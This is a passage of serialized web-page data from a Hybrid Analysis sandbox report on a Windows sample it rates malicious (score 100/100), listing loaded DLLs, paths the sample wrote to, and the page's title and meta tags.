h.dll","msvcrt.dll","VxSSL32.dll","System.ni.dll","System.Windows.Forms.dll","ole32.dll","fltLib.dll","rpcrt4.dll","version.dll","cryptbase.dll","nlssorting.dll","usp10.dll","api-ms-win-core-xstate-l2-1-0.dll","mscoreei.dll","psapi.dll","clrjit.dll","sechost.dll","imm32.dll","msctf.dll","api-ms-win-core-synch-l1-2-0.dll","ntdll.dll","advapi32.dll","nsi.dll","System.Windows.Forms.ni.dll","user32.dll","lpk.dll","kernel32.dll","ws2_32.dll","shlwapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":[{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6470d528bdb298a84104e4a0"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["6470d528bdb298a84104e4a0"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Sample d79a203caba1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d79a203caba1…. Threat score 100/100. 0/0 AV engines flagged this file. 5 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16"}],["$","meta","4",{"property":"og:title","content":"Malicious Sample d79a203caba1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d79a203caba1…. Threat score 100/100. 0/0 AV engines flagged this file. 5 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Sample d79a203caba1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d79a203caba1…. Threat score 100/100. 0/0 AV engines flagged this file. 5 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L64","11",{}]]